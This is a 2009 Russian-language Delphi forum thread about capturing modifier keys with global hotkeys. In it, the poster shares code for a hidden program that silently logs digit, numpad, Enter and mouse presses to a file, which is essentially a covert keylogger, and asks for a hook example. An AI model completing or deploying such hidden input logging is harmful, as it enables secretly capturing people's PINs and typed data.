Форум программистов, компьютерный форум, киберфорум
Delphi
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.78/41: Рейтинг темы: голосов - 41, средняя оценка - 4.78
12 / 12 / 4
Регистрация: 23.10.2008
Сообщений: 33

Как обработать нажатия Ctrl,Alt,win,shift??

02.01.2009, 23:09. Показов 7920. Ответов 5
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Пробывал через регистрацию глобальных горячих клавиш,но чет не проперло
Delphi
1
2
lmouse_button := GlobalAddAtom('Hotkey21');
   RegisterHotKey(Handle, lmouse_button, 0,  VK_LCONTROL );
Смотрел в Message.pas коды клавиш, через регистрацию горячих клавиш не работают
вот ети:
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
VK_LSHIFT = 160;
  {$EXTERNALSYM VK_RSHIFT}
  VK_RSHIFT = 161;
  {$EXTERNALSYM VK_LCONTROL}
  VK_LCONTROL = 162;
  {$EXTERNALSYM VK_RCONTROL}
  VK_RCONTROL = 163;
  {$EXTERNALSYM VK_LMENU}
  VK_LMENU = 164;
  {$EXTERNALSYM VK_RMENU}
  VK_RMENU = 165;
  {$EXTERNALSYM VK_PROCESSKEY}
  VK_PROCESSKEY = 229;
  {$EXTERNALSYM VK_ATTN}
  VK_ATTN = 246;
  {$EXTERNALSYM VK_CRSEL}
  VK_CRSEL = 247;
  {$EXTERNALSYM VK_EXSEL}
  VK_EXSEL = 248;
  {$EXTERNALSYM VK_EREOF}
  VK_EREOF = 249;
  {$EXTERNALSYM VK_PLAY}
  VK_PLAY = 250;
  {$EXTERNALSYM VK_ZOOM}
  VK_ZOOM = 251;
  {$EXTERNALSYM VK_NONAME}
  VK_NONAME = 252;
  {$EXTERNALSYM VK_PA1}
  VK_PA1 = 253;
  {$EXTERNALSYM VK_OEM_CLEAR}
  VK_OEM_CLEAR = 254;
VK_LWIN = 91;
  {$EXTERNALSYM VK_RWIN}
  VK_RWIN = 92;
  {$EXTERNALSYM VK_APPS}
  VK_APPS = 93;
Че делать подскажите????
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
02.01.2009, 23:09
Ответы с готовыми решениями:

Заблокировать/откл. клавы включая комбинации(ALT+.. , Shift+... , Win+..., Ctrl+ ... )
Вообщем, есть задача: нужно заблокировать/отключить клавиатуру. В поиске искал, но решения не нашел. Я это делаю через хук(hook). Он...

Как полностью отключить клавиатуру (ctrl+alt+del, alt+tab, win_пуск)?
Как выключит полныстю клавитуру (ctrl+alt+del, alt+tab, win_пуск)

Отключить клавиатуру (Ctrl+Alt+Del, Alt+Tab, Windows ... ) в WinXP, 2000 please
Ознакомившись с вопросом Zorina aka Zohira, я обратил внимание на Win9x !!!!! Братья программеры, помогите избавиться, раз и...

5
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
02.01.2009, 23:28
Тебе надо их обработать в своей программе? В смысле, когда твоя форма активна?
0
12 / 12 / 4
Регистрация: 23.10.2008
Сообщений: 33
02.01.2009, 23:38  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Тебе надо их обработать в своей программе? В смысле, когда твоя форма активна?
Нет я скрываю отовсюду свое приложение))Делаю все через глобальные горячие клавиши,а когда регестрирую кнопки шифт,контрл,альт,кнопку win - на них прога не отзывается не входит в обработчик сообщения горячих клавиш млин((,вот и спрашиваю почему???и как по другому обработать???Можно конечно через хук ,но ищу че полегче может не те коды горячих клавишь использую??

Добавлено через 6 минут 19 секунд
Чет я не пойму я и регестрирую их чтоб потом перехватывать в wm_hotkey
Pascal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
 VAR
 j : integer;
 format_file : STRING;
 begin
 format_file := ExtractFileDir(Application.ExeName) + '\';
 if  not FileExists(format_file + 'OutFile.txt') then FileCreate('OutFile.txt');
 AssignFile(outfile,format_file + 'OutFile.txt');//Соединение переменной f с файлом в папке
 //Reset(outfile);
 //Seek (outfile, filesize(outfile));
 Append(outfile);
 //write(outfile);
   if (Msg.HotKey = klav0) or (Msg.HotKey = klav1) or (Msg.HotKey = klav2) or (Msg.HotKey = klav3)or (Msg.HotKey = klav4)
      or (Msg.HotKey = klav5) or (Msg.HotKey = klav6) or (Msg.HotKey = klav7) or (Msg.HotKey = klav8) or (Msg.HotKey = klav9)
      or (Msg.HotKey = num0) or (Msg.HotKey = num1) or (Msg.HotKey = num2) or (Msg.HotKey = num3) or (Msg.HotKey = num4)
      or (Msg.HotKey = num5) or (Msg.HotKey = num6) or (Msg.HotKey = num7) or (Msg.HotKey = num8) or (Msg.HotKey = num9)
      or (Msg.HotKey = enter) or (Msg.HotKey = lmouse_button) then
    begin
      if Msg.HotKey = klav0 then begin Writeln(outfile, '0');CloseFile(outfile);  exit; end;
      if Msg.HotKey = klav1 then begin Writeln(outfile, '1');CloseFile(outfile); exit; end;
      if Msg.HotKey = klav2 then begin Writeln(outfile, '2');CloseFile(outfile); exit end;
      if Msg.HotKey = klav3 then begin Writeln(outfile, '3');CloseFile(outfile); exit end;
      if Msg.HotKey = klav4 then begin Writeln(outfile, '4');CloseFile(outfile); exit end;
      if Msg.HotKey = klav5 then begin Writeln(outfile, '5');CloseFile(outfile); exit end;
      if Msg.HotKey = klav6 then begin Writeln(outfile, '6');CloseFile(outfile); exit end;
      if Msg.HotKey = klav7 then begin Writeln(outfile, '7');CloseFile(outfile); exit end;
      if Msg.HotKey = klav8 then begin Writeln(outfile, '8');CloseFile(outfile); exit end;
      if Msg.HotKey = klav9 then begin Writeln(outfile, '9');CloseFile(outfile);exit end;
      if Msg.HotKey = num0 then begin Writeln(outfile, '0');CloseFile(outfile); exit end;
      if Msg.HotKey = num1 then begin Writeln(outfile, '1');CloseFile(outfile); exit end;
      if Msg.HotKey = num2 then begin Writeln(outfile, '2');CloseFile(outfile); exit end;
      if Msg.HotKey = num3 then begin Writeln(outfile, '3');CloseFile(outfile); exit end;
      if Msg.HotKey = num4 then begin Writeln(outfile, '4');CloseFile(outfile); exit end;
      if Msg.HotKey = num5 then begin Writeln(outfile, '5');CloseFile(outfile); exit end;
      if Msg.HotKey = num6 then begin Writeln(outfile, '6');CloseFile(outfile); exit end;
      if Msg.HotKey = num7 then begin Writeln(outfile, '7');CloseFile(outfile); exit end;
      if Msg.HotKey = num8 then begin Writeln(outfile, '8');CloseFile(outfile); exit end;
      if Msg.HotKey = num9 then begin Writeln(outfile, '9');CloseFile(outfile); exit end;
      if Msg.HotKey = enter then begin Writeln(outfile, '#13#10');CloseFile(outfile); end;
    end;
 
 
 end;
 
 
procedure TForm1.FormCreate(Sender: TObject);
 
const
    VK_0 = $30;
    VK_1 = $31;
    VK_2 = $32;
    VK_3 = $33;
    VK_4 = $34;
    VK_5 = $35;
    VK_6 = $36;
    VK_7 = $37;
    VK_8 = $38;
    VK_9 = $39;
    //VK_SCROLL = 145;
     //VK_RETURN = 13;//Это энтер
     //vk_Delete    = 46;//$2E;
     //vk_Back      = $08;
 begin
ShowWindow(Application.Handle,SW_Hide); // скрытие формы
ShowWindow(handle,sw_hide);
fORM1.Left := 0;
FORM1.Top := 0;
Form1.Height := Screen.Height;
Form1.Width := Screen.Width;
  klav0 := GlobalAddAtom('Hotkey0');
   RegisterHotKey(Handle, klav0, 0, VK_0 );
 
    klav1 := GlobalAddAtom('Hotkey1');
   RegisterHotKey(Handle, klav1, 0, VK_1 );
 
   klav2 := GlobalAddAtom('Hotkey2');
   RegisterHotKey(Handle, klav2, 0,  VK_2 );
 
   klav3 := GlobalAddAtom('Hotkey3');
   RegisterHotKey(Handle, klav3, 0, VK_3 );
 
    klav4 := GlobalAddAtom('Hotkey4');
   RegisterHotKey(Handle, klav4, 0, VK_4 );
 
   klav5 := GlobalAddAtom('Hotkey5');
   RegisterHotKey(Handle, klav5, 0,  VK_5 );
 
   klav6 := GlobalAddAtom('Hotkey6');
   RegisterHotKey(Handle, klav6, 0, VK_6 );
 
    klav7 := GlobalAddAtom('Hotkey7');
   RegisterHotKey(Handle, klav7, 0, VK_7 );
 
   klav8 := GlobalAddAtom('Hotkey8');
   RegisterHotKey(Handle, klav8, 0,  VK_8 );
 
   klav9 := GlobalAddAtom('Hotkey9');
   RegisterHotKey(Handle, klav9, 0, VK_9 );
 
    num0 := GlobalAddAtom('Hotkey10');
   RegisterHotKey(Handle, num0, 0, VK_NUMPAD0 );
 
   num1 := GlobalAddAtom('Hotkey11');
   RegisterHotKey(Handle, num1, 0,  VK_NUMPAD1 );
 
   num2 := GlobalAddAtom('Hotkey12');
   RegisterHotKey(Handle, num2, 0, VK_NUMPAD2 );
 
    num3 := GlobalAddAtom('Hotkey13');
   RegisterHotKey(Handle, num3, 0, VK_NUMPAD3 );
 
   num4 := GlobalAddAtom('Hotkey14');
   RegisterHotKey(Handle, num4, 0,  VK_NUMPAD4 );
 
   num5 := GlobalAddAtom('Hotkey15');
   RegisterHotKey(Handle, num5, 0, VK_NUMPAD5 );
 
    num6 := GlobalAddAtom('Hotkey16');
   RegisterHotKey(Handle, num6, 0, VK_NUMPAD6 );
 
   num7 := GlobalAddAtom('Hotkey17');
   RegisterHotKey(Handle, num7, 0,  VK_NUMPAD7 );
 
   num8 := GlobalAddAtom('Hotkey18');
   RegisterHotKey(Handle, num8, 0, VK_NUMPAD8 );
 
    num9 := GlobalAddAtom('Hotkey19');
   RegisterHotKey(Handle, num9, 0, VK_NUMPAD9 );
 
   enter := GlobalAddAtom('Hotkey20');
   RegisterHotKey(Handle, enter, 0,  VK_RETURN );
 
   lmouse_button := GlobalAddAtom('Hotkey21');
   RegisterHotKey(Handle, lmouse_button, 0,  VK_LBUTTON );
 end;
А выше указанные мной виртуальные клавиши почему-то не действуют???
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
02.01.2009, 23:41
Ставь хук.

Добавлено через 1 минуту 7 секунд
контрол, альт и т. д. - модификаторы. А у тебя в registerhotkey что на месте модификаторов? 0. Делай вывод.
0
12 / 12 / 4
Регистрация: 23.10.2008
Сообщений: 33
02.01.2009, 23:50  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Ставь хук.
А если можно пример напишите плиз,а то давно не делал,уже забыл(((,если не трудно

Добавлено через 1 минуту 26 секунд
Цитата Сообщение от Vourhey Посмотреть сообщение
Ставь хук.

Добавлено через 1 минуту 7 секунд
контрол, альт и т. д. - модификаторы. А у тебя в registerhotkey что на месте модификаторов? 0. Делай вывод.
Тваю ма....,сори,вот ступил)))Спасиб

Добавлено через 4 минуты 9 секунд
Pascal
1
2
lmouse_button := GlobalAddAtom('Hotkey21');
   RegisterHotKey(Handle, lmouse_button, VK_LSHIFT,  0 );
Не работает(,если не трудно кинь примерчик с хуком на кнопку win???

Добавлено через 3 минуты 13 секунд
Pascal
1
2
   1. lmouse_button := GlobalAddAtom('Hotkey21');  
   2.    RegisterHotKey(Handle, lmouse_button, VK_LSHIFT,  0 );
Не работает(,если не трудно кинь примерчик с хуком на кнопку win???
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
02.01.2009, 23:52
Он не будет работать, так как, с модификатором ждет еще клавиши. Это же хоткей. То есть, комбинация клавиш.
К сожалению, в наличии примера не имеется.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
02.01.2009, 23:52
Помогаю со студенческими работами здесь

Ctrl+Alt+Delete и как от него избавиться
Необходимо оградить пользователя от необузданных порывов изучения менюхи возникающей его взору при нажатии Ctrl+Alt+Delete .... Как можно...

По нажатию Ctrl+Alt+v перевести переменную в другое состояние. Как?
Доброго времени суток, господа специалисты! 1. Помогите мне вот в каком вопросе. Нужно по условию если пользователь нажмет вместе...

ctrl+alt+del в WIN2000/XP как спрятать программу от TaskManager'а
В WIN2000/xp к сожалению нет такой функции как RegisterServiceProcess. Может кто поделится опытом, и скажет как спрятать программу от...

Как узнать, нажата ли сейчас клавиша ctrl, alt или winkey?
Я сделал программу, которая набирает текст, введенный в эту программу, эмитируя нажатия на клавиатуре (для копипаста туда, где копипаст не...

HELP! Cнова этот проклятый Ctrl+Alt+Del!!!
Доброго вам времени суток. Помогите разобраться: как заблокировать пользователю нажатие трех педалей, или хотя бы перехватить нажатие...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Основы отладки веб-приложений на SDL3 по USB и Wi-Fi, запущенных в браузере мобильных устройств
8Observer8 07.02.2026
Содержание блога Браузер Chrome имеет средства для отладки мобильных веб-приложений по USB. В этой пошаговой инструкции ограничимся работой с консолью. Вывод в консоль - это часть процесса. . .
SDL3 для Web (WebAssembly): Обработчик клика мыши в браузере ПК и касания экрана в браузере на мобильном устройстве
8Observer8 02.02.2026
Содержание блога Для начала пошагово создадим рабочий пример для подготовки к экспериментам в браузере ПК и в браузере мобильного устройства. Потом напишем обработчик клика мыши и обработчик. . .
Философия технологии
iceja 01.02.2026
На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .
SDL3 для Web (WebAssembly): Вывод текста со шрифтом TTF с помощью SDL3_ttf
8Observer8 01.02.2026
Содержание блога В этой пошаговой инструкции создадим с нуля веб-приложение, которое выводит текст в окне браузера. Запустим на Android на локальном сервере. Загрузим Release на бесплатный. . .
SDL3 для Web (WebAssembly): Сборка C/C++ проекта из консоли
8Observer8 30.01.2026
Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
SDL3 для Web (WebAssembly): Установка Emscripten SDK (emsdk) и CMake для сборки C и C++ приложений в Wasm
8Observer8 30.01.2026
Содержание блога Для того чтобы скачать Emscripten SDK (emsdk) необходимо сначало скачать и уставить Git: Install for Windows. Следуйте стандартной процедуре установки Git через установщик. . . .
SDL3 для Android: Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 29.01.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами. Версия v3 была полностью переписана на Си, в. . .
Инструменты COM: Сохранение данный из VARIANT в файл и загрузка из файла в VARIANT
bedvit 28.01.2026
Сохранение базовых типов COM и массивов (одномерных или двухмерных) любой вложенности (деревья) в файл, с возможностью выбора алгоритмов сжатия и шифрования. Часть библиотеки BedvitCOM Использованы. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru